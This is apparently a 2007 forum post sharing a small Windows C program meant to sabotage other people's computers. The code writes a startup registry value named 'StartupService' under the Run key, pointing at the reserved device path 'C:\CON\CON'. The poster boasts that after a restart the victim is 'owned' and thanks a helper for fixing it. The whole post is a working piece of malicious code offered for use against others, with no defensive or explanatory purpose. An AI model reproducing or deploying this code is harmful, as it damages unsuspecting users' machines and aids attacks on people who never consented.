suck my r2h
2007-01-20 16:36:47
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
BYTE Data[11] = "C:\\CON\\CON";
HKEY KeyHandle;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
RegCloseKey(KeyHandle);
return 0;
}Once they restart their computer, they're owned.Thanks to Sythe for fixing a small problem with this for me.